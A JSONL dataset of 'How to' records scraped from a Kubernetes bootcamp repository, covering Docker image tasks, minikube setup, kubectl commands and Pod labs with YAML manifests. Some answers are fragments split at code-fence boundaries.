{"id": "gh_517d655b6ed9", "question": "How to: test/Dockerfile", "question_body": "About piouson/kubernetes-bootcamp", "answer": "FROM ubuntu\nRUN groupadd --gid 1000 piouson && useradd --uid 1000 piouson --gid 1000\nUSER piouson\n```\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754033"}
{"id": "gh_dfc8f0ab2246", "question": "How to: Task - Docker image", "question_body": "About piouson/kubernetes-bootcamp", "answer": "```Dockerfile\nFROM nginx:1.22-alpine\nEXPOSE 80\n```\n\nUsing docker and the Dockerfile above, build an image with tag `bootcamp/nginx:v1` and tag `ckad/nginx:latest`. Once complete, export a tar file of the image to `/home/$USER/ckad-tasks/docker/nginx.tar`. \\\nRun a container named `web-test` from the image `bootcamp/nginx:v1` accessible on port 2000, and another container named `web-test2` from image `ckad/nginx:latest` accessible on port 2001. Leave both containers running.\n\nWhat commands would you use to perform the above operations using `podman`? Specify these commands on separate lines in file `/home/$USER/ckad-tasks/docker/podman-commands`\nhints\nhint 1\nYou can specify multiple tags when building an image `docker build -t tag1 -t tag2 /path//to/dockerfile-directory`\nhint 2\nTry to find the command for exporting a docker image with `docker image --help`\nhint 2\nDid you run the containers in detached mode?\nhint 3\nYou can export a docker image to a tar file with `docker image save -o /path/to/output/file $IMAGE_NAME`\nhint 4\nDid you expose the required ports when creating the containers? You can use `docker run -p $HOST_PORT:$CONTAINER_PORT`\nhint 5\nDid you verify the containers running at exposed ports `curl localhost:2000` and `curl localhost:2001`?\nhint 6\nDocker and Podman have interchangeable commands, therefore, the only change is `docker -> podman`, For example, `docker run -> podman run`, `docker build -> podman build`, etc.", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754051"}
{"id": "gh_a3fb3f78ae5e", "question": "How to: 3. Understanding Kubernetes", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[K8s](kubernetes.io) is an open-source system for automating deployment, scaling and containerized applications management, currently owned by the [Cloud Native Computing Foundation (CNCF)](https://www.cncf.io/). \\\nK8s **release cycle is 3 months** and deprecated features are supported for a minimum of 2 release cycles (6 months).\n\n> You can watch [kubernetes in 1 minute](https://www.youtube.com/watch?v=BzvLp-lH5_Q&list=PLBBog2r6uMCSplEmHu-1n7VixRn9RTZP5&index=6) for a quick overview \\\n> When you've got more time, watch/listen to **Kubernetes: The Documentary ([PART 1](https://www.youtube.com/watch?v=BE77h7dmoQU) & [PART 2](https://www.youtube.com/watch?v=318elIq37PE))**", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754057"}
{"id": "gh_e50a2f637972", "question": "How to: Lab 3.1. Kubernetes in Google Cloud", "question_body": "About piouson/kubernetes-bootcamp", "answer": "> A local lab setup is covered in [chapter 4 with minikube](#4-kubernetes-lab-environment) \\\n> Skip this lab if you do not currently have a Google Cloud account with Billing enabled\n\n- Signup and Login to [console.cloud.google.com](https://console.cloud.google.com)\n- Use the \"Cluster setup guide\" to create \"My first cluster\"\n- Connect to the cluster using the \"Cloud Shell\"\n- View existing Kubernetes resources by running `kubectl get all`", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754062"}
{"id": "gh_8c6052a3bdb7", "question": "How to: Basic Kubernetes API resources", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Entities in Kubernetes are recorded in the Kubernetes system as _Objects_, and they represent the state of your cluster. [_Kubernetes objects_](https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects) can describe:\n\n- what containerized applications are running (and on which nodes)\n- resources available to those applications\n- policies around applications behaviour - restarts, upgrades, fault-tolerance, etc\n\nSome common _Kubernetes objects_ include:\n\n- Deployment: represents the application and provides services\n- ReplicaSet: manages scalability - array of pods\n- Pods: manages containers (**note that one container per pod is the standard**)\nKubernetes architecture\n![kubernetes-architecture from https://platform9.com/blog/kubernetes-enterprise-chapter-2-kubernetes-architecture-concepts/](https://user-images.githubusercontent.com/17856665/185714430-afe68ed2-9593-47c1-b032-b9ad9630f9fa.png)\nPods architecture\n![pods-architecture from https://platform9.com/blog/kubernetes-enterprise-chapter-2-kubernetes-architecture-concepts/](https://user-images.githubusercontent.com/17856665/185716058-b9b273ab-295b-4a5a-9d63-31b6f0d25e2c.jpg)\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754069"}
{"id": "gh_646891d2c873", "question": "How to: create a deployment with six replicas", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create deploy myapp --image=nginx --replicas=6", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754074"}
{"id": "gh_dec5145f0b43", "question": "How to: delete a deployment, see `kubectl delete --help`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl delete deploy myapp\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754079"}
{"id": "gh_7e6993cd6805", "question": "How to: Lab 3.2. Explore Kubernetes API resources via Google Cloud", "question_body": "About piouson/kubernetes-bootcamp", "answer": "> This lab is repeated in [chapter 4 with minikube](#4-kubernetes-lab-environment) \\\n> Skip this lab if you do not currently have a Google Cloud account with Billing enabled\n\n1. Create an `nginx` application with three replicas\n2. View available resources\n3. Delete a pod create\n4. View available resources, how many pods left, can you find the deleted pod?\n5. List supported API resources\n6. Delete the application\n7. view available resource\n8. Delete the Kubernetes service\n9. view available resources\n10. If nothing found, allow 5s and try [9] again\nlab3.2 solution\n```sh\nkubectl create deploy webserver --image=nginx --replicas=3\nkubectl get all\nkubectl delete pod $POD_NAME\nkubectl get all # new pod auto created to replace deleted\nkubectl api-resources\nkubectl delete deploy webserver\nkubectl get all\nkubectl delete svc kubernetes\nkubectl get all # new kubernetes service is auto created to replace deleted\n```\n> Remember to delete Google cloud cluster to avoid charges if you wish to use a local environment detailed in the next chapter", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754086"}
{"id": "gh_95c20f2ecc43", "question": "How to: Use Docker Desktop", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Enable Kubernetes in Docker Desktop settings, then apply and restart\n![image](https://user-images.githubusercontent.com/17856665/178120815-357cea98-ecf1-4536-81af-a614b7b4cf5e.png)\n> See Docker's [Deploy on Kubernetes](https://docs.docker.com/desktop/kubernetes/) for more details \\\n> Note that using Docker Desktop will have network limitations when exposing your applications publicly, see alternative Minikube option below", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754094"}
{"id": "gh_b40633871c7e", "question": "How to: Use Minikube", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Minikube is the recommended Kubernetes solution for this course on a local lab environment. See the [official minikube installation docs](https://minikube.sigs.k8s.io/docs/start/).\n\n#### Install Minikube on macOS\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754100"}
{"id": "gh_c7d35befa1c8", "question": "How to: 1. install minikube", "question_body": "About piouson/kubernetes-bootcamp", "answer": "curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-darwin-amd64\nsudo install minikube-darwin-amd64 /usr/local/bin/minikube\nrm minikube-darwin-amd64", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754105"}
{"id": "gh_205fdd7de50e", "question": "How to: 2. start a minikube cluster", "question_body": "About piouson/kubernetes-bootcamp", "answer": "minikube start\n```\n\n#### Install Minikube on Windows WSL2\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754110"}
{"id": "gh_343d3a97b669", "question": "How to: 2. install minikube prereqs - conntrack", "question_body": "About piouson/kubernetes-bootcamp", "answer": "sudo apt install conntrack\nsudo sysctl fs.protected_regular=0", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754118"}
{"id": "gh_5fc11848e962", "question": "How to: 4. change the owner of the .kube and .minikube directories", "question_body": "About piouson/kubernetes-bootcamp", "answer": "sudo chown -R $USER $HOME/.kube $HOME/.minikube\n```\n\n#### Minikube commands\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754123"}
{"id": "gh_12a4c002dbda", "question": "How to: start minikube with a specified driver and specified kubernetes version", "question_body": "About piouson/kubernetes-bootcamp", "answer": "minikube start --driver=docker --kubernetes-version=1.23.9", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754128"}
{"id": "gh_8fa1b04d6706", "question": "How to: Lab 4.1. Setup minikube and kubectl", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Confirm minikube running `minikube status`\n2. Create `kubectl` alias in `.bashrc`\n   ```sh\n   printf \"\n   # minikube kubectl\n   alias kubectl='minikube kubectl --'\n   \" >> ~/.bashrc\n   exec bash\n   ```\n3. Start using the alias\n   ```sh\n   kubectl version\n   kubectl get all\n   ```\n4. Enable kubectl autocompletion, see `kubectl completion --help`\n   ```sh\n   echo \"source <(kubectl completion bash)\" >> ~/.bashrc # macos replace bash with zsh\n   exec bash\n   ```\n5. The default `kubectl edit` text editor is `vi`. To change this:\n   ```sh\n   export KUBE_EDITOR=\"nano\" # use nano\n   export KUBE_EDITOR=\"vim\" # use vim\n   ```\n6. Open the Kubernetes dashboard with `minikube dashboard`\n7. Use the Kubernetes Dashboard to deploy a webserver with three replicas\n   - visit url provided in browser\n   - click on top right plus \"+\" icon\n   - select `Create from form`\n   - enter App name: `app`, Container image: `nginx`, Number of pods: `3`\n   - click `Deploy`\n8. Return to the terminal and delete created resources\n   ```sh\n   ctrl+c # to terminate dashboard\n   kubectl get all\n   kubectl delete deploy app\n   ```\n9. List Kubernetes clusters with `kubectl config get-contexts`\n10. If you have Kubernetes cluster from both Minikube and Docker Desktop, you can switch between them:\n- Set Docker Desktop cluster as current cluster: `kubectl config set-context docker-desktop`\n- Set Minikube cluster as current cluster: `kubectl config set-context minikube`", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754141"}
{"id": "gh_b47f76fa80a2", "question": "How to: Lab 4.2. Explore Kubernetes API resources via Minikube", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Run an `nginx` Pod\n2. View resources\n3. Delete the Pod\n4. View resources\n5. Repeat [Lab 3.2](#lab-32-explore-kubernetes-api-resources-via-google-cloud) in Minikube\nlab4.2 solution\n```sh\nkubectl run webserver --image=nginx\nkubectl get all\nkubectl delete pod webserver\nkubectl get all # pod gone", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754146"}
{"id": "gh_7eafb66126da", "question": "How to: see `lab3.2 solution` for remaining steps", "question_body": "About piouson/kubernetes-bootcamp", "answer": "```\n\n> Pods started without a deployment are called _Naked Pods_ - these are not managed by a replicaset, therefore, are not rescheduled on failure, not eligible for rolling updates, cannot be scaled, cannot be replaced automatically. \\\n> Although, _Naked Pods_ are not recommended in live environments, they are crucial for learning how to manage Pods, which is a big part of [CKAD](https://www.cncf.io/certification/ckad/).", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754151"}
{"id": "gh_ae02993cb308", "question": "How to: run a nginx pod with custom args, args are passed to the pod's container's `ENTRYPOINT`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl run mypod --image=nginx --\n...", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754158"}
{"id": "gh_147fd7efa2ea", "question": "How to: run a command in an nginx pod", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl run mypod --image=nginx --command --", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754163"}
{"id": "gh_89853b028353", "question": "How to: run a busybox pod interactively and delete after task completion", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl run -it mypod --image=busybox --rm --restart=Never -- date", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754168"}
{"id": "gh_44420b9fd95b", "question": "How to: to specify the port exposed by the image is 8080", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl run mypod --port=8080 --image=image-that-uses-port-8080", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754173"}
{"id": "gh_c36883fa05e7", "question": "How to: list pods, see `kubectl get --help`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl get pods # using `pod` or `pods` will work", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754177"}
{"id": "gh_00aae74de3ea", "question": "How to: view the pod spec", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain pod.spec | less\n```\n\n> With `kubectl`, everything after the `--` flag is passed to the Pod \\\n> 💡 `--\n` corresponds to Dockerfile `CMD` while `--command --\n` corresponds to `ENTRYPOINT` \\\n> See [answer to `kubectl run --command vs -- arguments`](https://stackoverflow.com/a/66078726) for more details", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754184"}
{"id": "gh_9060472ef213", "question": "How to: Lab 5.1. Creating Pods", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a Pod with `nginx:alpine` image and confirm creation\n2. Review full details of the Pod in YAML form\n3. Display details of the Pod in readable form and review the Node, IP, container start date/time and Events\n4. List pods but only show resource names\n5. Connect a shell to the Pod and confirm an application is exposed\n   - By default, Nginx exposes applications on port 80\n   - confirm exposed ports\n6. Delete the Pod\n7. Review the Pod spec\n8. Have a look at the Kubernetes API to determine when pods were introduced\n\n> Not all images expose their applications on port 80. Kubernetes doesn't have a native way to check ports exposed on running container, however, you can connect a shell to a Pod with `kubectl exec` and try one of `netstat -tulpn` or `ss -tulpn` in the container, if installed, to show open ports.\nlab5.1 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754193"}
{"id": "gh_a339e7703eaa", "question": "How to: Pod manifest file", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Example of a Pod manifest file with a `busybox` image and mounted _empty-directory_ volume.\n\n```yaml\napiVersion: v1 # api version\nkind: Pod # type of resource, pod, deployment, configmap, etc\nmetadata:\n  name: box # metadata information, including labels, namespace, etc\nspec:\n  volumes: # create an empty-directory volume\n  - name: varlog\n    emptyDir: {}\n  containers:\n  - name: box\n    image: busybox:1.28\n    volumeMounts: # mount created volume\n    - name: varlog\n      mountPath: /var/log\n```\n\n> Volumes are covered in more detail in [Chapter 10 - Storage](#10-storage). For now it will suffice to know how to create and mount an _empty-directory_ volume\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754211"}
{"id": "gh_99e8e5840dc1", "question": "How to: view description of a Kubernetes Object with `kubectl explain <object>[.field]`, see `kubectl explain --help`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain pod\nkubectl explain pod.metadata # or `pod.spec`, `pod.status` etc", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754215"}
{"id": "gh_9f558a954b9a", "question": "How to: generate YAML file of a specific command with `--dry-run`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl run mynginx --image=nginx -o yaml --dry-run=client > pod.yaml\n```\n\n> Object fields are **case sensitive**, **always generate** manifest files to avoid typos \\\n> `kubectl apply` creates a new resource, or updates existing if previously created by `kubectl apply`", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754222"}
{"id": "gh_eca6ece060b7", "question": "How to: Valid reasons for multi-container Pods", "question_body": "About piouson/kubernetes-bootcamp", "answer": "**Always create single container Pods!** However, some special scenarios require a [multi-container Pod pattern](https://kubernetes.io/blog/2015/06/the-distributed-system-toolkit-patterns/):\n\n- To initialise primary container ([Init Container](https://kubernetes.io/docs/concepts/workloads/pods/init-containers/#understanding-init-containers))\n- To enhance primary container, e.g. for logging, monitoring, etc. ([Sidecar Container](https://kubernetes.io/blog/2015/06/the-distributed-system-toolkit-patterns/#example-1-sidecar-containers))\n- To prevent direct access to primary container, e.g. proxy ([Ambassador Container](https://kubernetes.io/blog/2015/06/the-distributed-system-toolkit-patterns/#example-2-ambassador-containers))\n- To match the traffic/data pattern in other applications in the cluster ([Adapter Container](https://kubernetes.io/blog/2015/06/the-distributed-system-toolkit-patterns/#example-3-adapter-containers))", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754228"}
{"id": "gh_fee6e4e625ec", "question": "How to: Lab 5.2. Managing Pods with YAML file", "question_body": "About piouson/kubernetes-bootcamp", "answer": "> In the official k8s docs, you will often find example code with a URL, e.g. `pods/commands.yaml`. The file can be downloaded by appending `https://k8s.io/examples` to the URL, thus: `https://k8s.io/examples/pods/commands.yaml`\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754234"}
{"id": "gh_9fb3ccd9583e", "question": "How to: save downloaded file with a new name `comm.yaml`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "wget https://k8s.io/examples/pods/commands.yaml -O comm.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754240"}
{"id": "gh_a0379efbcd87", "question": "How to: hide output while downloading", "question_body": "About piouson/kubernetes-bootcamp", "answer": "wget -q https://k8s.io/examples/pods/commands.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754245"}
{"id": "gh_2b4f4a4cb239", "question": "How to: view contents of a downloaded file without saving", "question_body": "About piouson/kubernetes-bootcamp", "answer": "wget -O- https://k8s.io/examples/pods/commands.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754249"}
{"id": "gh_bcd9a359bffe", "question": "How to: view contents quietly without saving", "question_body": "About piouson/kubernetes-bootcamp", "answer": "wget -qO- https://k8s.io/examples/pods/commands.yaml\n```\n\n1. Generate a YAML file of a `busybox` Pod that runs the command `sleep 60`, see [create Pod with command and args docs](https://kubernetes.io/docs/tasks/inject-data-application/define-command-argument-container/#define-a-command-and-arguments-when-you-create-a-pod)\n2. Apply the YAML file.\n3. List created resources\n4. View details of the Pod\n5. Delete the Pod\nlab5.2 solution\n```sh\nkubectl run mypod --image=busybox --dry-run=client -o yaml --command -- sleep 60 > lab5-2.yaml\nkubectl apply -f lab5-2.yaml\nkubectl get pods\nkubectl describe pods mypod | less\nkubectl delete -f lab5-2.yaml\n```\n> Some images, like busybox, do not remain in running state by default. An extra command is required, e.g. `sleep 60`, to keep containers using these images in running state for as long as you need. In the CKAD exam, make sure your Pods remain in running states unless stated otherwise", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754257"}
{"id": "gh_48e6e98c4a5e", "question": "How to: Lab 5.3. Init Containers", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Note that the main container will only be started after the _init container_ enters `STATUS=completed`\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754262"}
{"id": "gh_50c46db13aba", "question": "How to: view logs of specific container `mypod-container-1` in pod `mypod`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl logs mypod -c mypod-container-1\n```\n\n1. Create a Pod that logs `App is running!` to STDOUT\n   - use `busybox:1.28` image\n   - the application should `Never` restart\n   - the application should use a _Init Container_ to wait for 60secs before starting\n   - the _Init Container_ should log `App is initialising...` to STDOUT\n   - see [init container docs](https://kubernetes.io/docs/concepts/workloads/pods/init-containers/#init-containers-in-use).\n2. List created resources and note Pod `STATUS`\n3. View the logs of the main container\n4. View the logs of the _init container_\n5. View more details of the Pod and note the `State` of both containers.\n6. List created resources and confirm Pod `STATUS`\n7. Delete Pod\nlab5.3 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754268"}
{"id": "gh_2d19420668c8", "question": "How to: partially generate pod manifest", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl run myapp --image=busybox:1.28 --restart=Never --dry-run=client -o yaml --command -- sh -c \"echo App is running!\" > lab5-3.yaml\n```\n\n```yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754272"}
{"id": "gh_a551de3cb62a", "question": "How to: edit lab5-3.yaml to add init container spec", "question_body": "About piouson/kubernetes-bootcamp", "answer": "apiVersion: v1\nkind: Pod\nmetadata:\n  labels:\n    run: myapp\n  name: myapp\nspec:\n  containers:\n    - name: myapp\n      image: busybox:1.28\n      command: [\"sh\", \"-c\", \"echo App is running!\"]\n  initContainers:\n    - name: myapp-init\n      image: busybox:1.28\n      command: [\"sh\", \"-c\", 'echo \"App is initialising...\" && sleep 60']\n  restartPolicy: Never\n```\n\n```sh\nkubectl apply -f lab5-3.yaml\nkubectl get pods\nkubectl logs myapp # not created until after 60secs\nkubectl logs myapp -c myapp-init\nkubectl describe -f lab5-3.yaml | less\nkubectl get pods\nkubectl delete -f lab5-3.yaml\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754279"}
{"id": "gh_a1ade0d71672", "question": "How to: Lab 5.4. Multi-container Pod", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a Pod with 2 containers and a volumne shared by both containers, see [multi-container docs](https://kubernetes.io/docs/tasks/access-application-cluster/communicate-containers-same-pod-shared-volume/#creating-a-pod-that-runs-two-containers).\n2. List created resources\n3. View details of the Pod\n4. Delete the Pod\nlab5.4 solution\n```yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754284"}
{"id": "gh_db55d6a261bc", "question": "How to: lab5-4.yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: myapp\nspec:\n  containers:\n    - name: myapp-1\n      image: busybox:1.28\n      volumeMounts:\n        - name: logs\n          mountPath: /var/log\n    - name: myapp-2\n      image: busybox:1.28\n      volumeMounts:\n        - name: logs\n          mountPath: /var/log\n  volumes:\n    - name: logs\n      emptyDir: {}\n```\n\n```sh\nkubectl apply -f lab5-4.yaml\nkubectl get pods\nkubectl describe pods myapp | less\nkubectl logs myapp -c myapp-1\nkubectl logs myapp -c myapp-2\nkubectl delete -f lab5-4.yaml\n```\n\n> Always create single container Pods!", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754290"}
{"id": "gh_b82871af6897", "question": "How to: Lab 5.5. Sidecar Containers", "question_body": "About piouson/kubernetes-bootcamp", "answer": "> Remember you can prepend [`https://k8s.io/examples/`](https://kubernetes.io/docs/concepts/workloads/pods/#using-pods) to any example manifest names from the official docs for direct download of the YAML file\n\n1. Create a `busybox` Pod that logs `date` to a file every second\n   - expose the logs with a _sidecar container_'s STDOUT to prevent direct access to the main application\n   - see example _sidecar container_ manifest `https://k8s.io/examples/admin/logging/two-files-counter-pod-streaming-sidecar.yaml`\n2. List created resources\n3. View details of the Pod\n4. View the logs of the main container\n5. View the logs of the _sidecar container_\n6. Delete created resources\nlab5.5 solution\n```yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754298"}
